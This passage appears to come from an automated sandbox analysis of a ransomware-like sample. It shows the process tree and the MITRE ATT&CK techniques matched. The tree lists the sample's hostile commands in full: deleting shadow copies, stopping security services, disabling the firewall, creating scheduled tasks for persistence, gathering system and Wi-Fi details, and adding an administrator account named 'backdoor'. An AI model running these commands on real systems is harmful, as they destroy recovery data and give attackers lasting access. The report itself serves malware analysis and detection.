  - Suspicious use of WriteProcessMemory
  PID:1708
- - C:\Users\Admin\AppData\Local\Temp\xoilactv-link.com_nano.exe
    "C:\Users\Admin\AppData\Local\Temp\xoilactv-link.com_nano.exe"
    3⤵
    PID:3124
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2416
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4448
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3864
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of AdjustPrivilegeToken
  PID:4772
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv-link.com_nano.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4980
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv-link.com_nano.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3180
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2328
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious use of AdjustPrivilegeToken
    PID:1876
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4540
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4124
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4208
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5060
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2688
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2528
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1452
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4280
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5108
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:452
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4656
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    - Suspicious use of AdjustPrivilegeToken
    PID:3884
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv-link.com_nano.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2692
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:3924
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4832
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4840
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:3020
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:1592
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:2532
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:4504
- C:\Windows\system32\svchost.exe
  "C:\Windows\system32\svchost.exe"
  2⤵
  PID:4704
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:3124
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" user backdoor P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  - Suspicious use of WriteProcessMemory
  PID:4032
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user backdoor P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:3252
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" localgroup administrators backdoor /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1748
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators backdoor /add
    3⤵
    PID:3068

C:\Users\Admin\AppData\Local\Temp\xoilactv-link.com_nano.exe
C:\Users\Admin\AppData\Local\Temp\xoilactv-link.com_nano.exe
1⤵
PID:4244

C:\Users\Admin\AppData\Local\Temp\xoilactv-link.com_nano.exe
C:\Users\Admin\AppData\Local\Temp\xoilactv-link.com_nano.exe
1⤵
PID:4248

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Debugger Evasion

T1622

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Debugger Evasion

T1622

Permission Groups Discovery

T1069

Local Groups

T1069.001

Process Discovery

T1057

Query Registry

T1012

System Information Discovery